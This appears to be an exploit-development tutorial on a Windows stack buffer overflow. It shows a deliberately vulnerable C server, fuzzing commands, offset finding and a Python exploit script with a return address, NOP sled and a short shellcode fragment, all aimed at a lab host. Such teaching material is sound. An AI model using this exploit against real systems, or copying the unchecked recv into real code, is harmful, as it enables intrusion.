Thilan Dissanayaka Exploit development May 17

Exploiting a Stack Buffer Overflow on Windows

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void handle_client(SOCKET client) {
    char buffer[512];
    int recv_size;

    // Vulnerable: no bounds checking!
    recv_size = recv(client, buffer, 1024, 0);
    if (recv_size == SOCKET_ERROR) {
        printf("recv failed\n");
        closesocket(client);
        return;
    }

    buffer[recv_size] = '\0';
    printf("Received: %s\n", buffer);

    closesocket(client);
}

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thilan@macbook:~$ nc 192.168.64.15 9999
hello

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thilan@macbook:~$ python3 -c "print('A' * 1000)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ...

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thilan@macbook:~$ python3 -c "print('A' * 524 + 'B' * 4 + 'C' * 4)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

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swkp2wu0ds2s1whm4otw.png

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import socket

ip = "127.0.0.1"
port = 9999

offset = 524
ret_address = b"\xB0\x12\x50\x62"

nop_sled = b"\x90" * 16

shellcode = (
    b"\xdb\xc4\xd9\x74\x24\xf4\x5a\x2b\xc9\xb8\x1b\xfc\x11\x11"
    b"\xb1\x31\x83\xc2\x04\x31\x42\x14\x03\x42\xb3\x9f"
)

payload = b"A" * offset + ret_address + nop_sled + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(payload)
s.close()

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